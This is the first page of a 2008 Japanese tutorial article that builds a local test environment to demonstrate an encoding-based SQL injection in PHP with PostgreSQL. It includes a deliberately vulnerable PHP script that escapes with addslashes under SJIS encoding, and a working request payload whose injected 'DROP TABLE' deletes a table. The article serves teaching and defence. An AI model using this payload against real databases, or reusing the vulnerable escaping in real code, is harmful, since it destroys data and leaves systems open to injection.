TOP情報セキュリティ> 【セキュリティ最前線】セキュリティホールをついて遊ぶ> 第2回:PHPのSQLインジェクションを実体験 (1/3)

【セキュリティ最前線】セキュリティホールをついて遊ぶ

【セキュリティ最前線】
セキュリティホールをついて遊ぶ

第2回:PHPのSQLインジェクションを実体験

著者:大垣 靖男

公開日:2008/1/18(金)

PHPでSQLインジェクションを実体験

本記事では、セキュリティに対する課題を実体験していく。第2回となる今回は、いよいよ実際にテスト環境を構築し、攻撃を行う。標的となるのはWebシステムの開発で幅広く利用されている「PHP」だ。

PHP本体にはWebブラウザからの入力のデコード処理をはじめとして、Webシステム開発に必要不可欠な機能が組み込まれている。2008年1月3日に最後のPHP 4.x系のリリースとなる「PHP 4.4.8」がリリースされ、これ以降PHP 4.x系の開発は行われなくなった。現在はPHP 5.x系のPHP 5.2.5のみがPHPプロジェクトにより正式にサポートされている状態だ。

データベースサーバへのアクセスもWebシステム開発には必要不可欠な機能の1つとなる。PHPはPostgreSQLやMySQL、SQLite、SQL Server、Oracleなどのデータベースサーバへアクセス可能だ。

Webアプリケーションの中で特にデータベースへのアクセスが脆弱になりやすい部分といわれている。データベースへのクエリ生成に問題がある場合、不正な文字列が挿入され、不正なSQLが実行されるとデータの漏洩や改竄が可能になる。このように不正なSQL文を挿入する攻撃は「SQLインジェクション」と呼ばれている。


SQLインジェクションテスト環境の準備

今回は文字エンコーディングを利用したSQLインジェクションを、実際に体験する。このため、データベースにマルチバイト文字の取り扱いが強化される前のPostgreSQL 8.1.3と脆弱性修正後の8.2.6を利用する。PHPは、PHP 5.x系のソース配付版をLinux上でコンパイルしたPHP 5.2.5を使用する。なお、PHPやPostgreSQLのインストール方法は各ソフトウェアのマニュアルなどを参照してほしい。

リスト1:データベースを作成
$ createdb -E SQL_ASCII injection_test

リスト2:テーブルの作成
injection_test=# create table table1 (field1 text, field2 text);
injection_test=# create table table2 (field1 text, field2 text);

リスト3:テーブル作成の確認
injection_test=# \d
         List of relations
 Schema |  Name  | Type  |  Owner
--------+--------+-------+---------
 public | table1 | table | yohgaki
 public | table2 | table | yohgaki
(2 rows)

リスト4:sql.php
<html>
<head><title>Injection Test</title></head>
<body>
<pre>
<?php
ini_set('display_errors', 1); // エラーを表示
// localhostからのアクセスはtrust modeであることを想定したコードです。
// 環境に合わせて接続文字列を変更してください。
$db = pg_connect('user=yohgaki dbname=injection_test') or die('Connection error');

// クライアント文字エンコーディングをSJISに変更
pg_query($db, "SET client_encoding TO 'SJIS';");

if (!empty($_GET['q1']) && !empty($_GET['q2'])) {
    // クエリを実行
    $q1 = addslashes($_GET['q1']); // エスケープ
    $q2 = addslashes($_GET['q2']); // エスケープ
    $sql = "SELECT * FROM table1 WHERE field1 LIKE '".$q1."' or field2 LIKE '".$q2."';";
    $res = pg_query($db, $sql); // クエリを実行
    echo $sql.PHP_EOL.PHP_EOL; // 実行したクエリを出力
    print_r(pg_fetch_all($res)); // クエリ結果をダンプ
} else {
    echo 'クエリ文字列が設定されていません';
}
?>
</pre>
</body>
</html>

リスト5:table2が削除された
yohgaki@[local] injection_test=# \d
         List of relations
 Schema |  Name | Type  |  Owner
--------+--------+-------+---------
 public | table1 | table | yohgaki
(1 row)

リスト6:SQLクエリの実行結果
SELECT * FROM table1 WHERE field1 LIKE '・ or field2 LIKE ';DROP TABLE table2;--';

まずcreatedbコマンドでPostgreSQL 8.1.3のデータベースを作成する(リスト1)。続いてpsqlコマンドで作成したデータベースに接続し、テスト用のテーブルを作成する(リスト2)。さらにpsqlで「\d」コマンドを使用し、2つのテーブルが作成できたことを確認する(リスト3)。

テーブル作成が終了したら、SQLインジェクションに脆弱なPHPスクリプトをWebサーバの適当な場所に配置する。今回は「http://localhost/sql.php」としてアクセスできる場所に配置している。スクリプト内容はリスト4の通りだ。

sql.phpはtable1からレコードを抽出するだけの参照クエリを実行する。しかし実際にはデータベース設定とPHPスクリプトに問題があるため、SQLインジェクションが可能になる。

まずはじめに「http://localhost/sql.php?q1=abc&q2=xyz」を実行した場合、table1は空のため期待通り何も表示されない。しかし「http://localhost/sql.php?q1=%95&q2=;DROP%20TABLE%20table2;--」のリクエストを送信すると、削除できてはならないはずのtable2が削除されてしまう。

このリクエストを送信後にpsqlでテーブルを一覧するとtable2が削除された事を確認できる(リスト5)。また、Webブラウザにはリスト6のSQLクエリが実行されたと表示される。本来は2つのLIKE句があるはずだが1つのLIKE句として認識され、「DROP TABLE table2」が実行されてしまうのである。 次のページ




大垣靖男(OHGAKI, Yasuo)
著者プロフィール
大垣靖男(OHGAKI, Yasuo)
University of Denver卒。同校にてコンピュータサイエンスとビジネスを学ぶ。株式会社シーエーシーを経て、エレクトロニック・サービス・イニシアチブ有限会社を設立。Linuxはバージョン0.9xの黎明期から利用してるが、オープンソースシステム開発やコミュニティへの参加はエレクトロニック・サービス・イニシアチブ設立後から。PHPプロジェクトのPostgreSQLモジュールのメンテナ、日本PostgreSQLユーザ会の四国地域での活動等を担当している。


INDEX
第2回:PHPのSQLインジェクションを実体験
PHPでSQLインジェクションを実体験
  何故不正なSQL文が実行されたのか?
  文字エンコーディングベースのSQLインジェクションの防止方法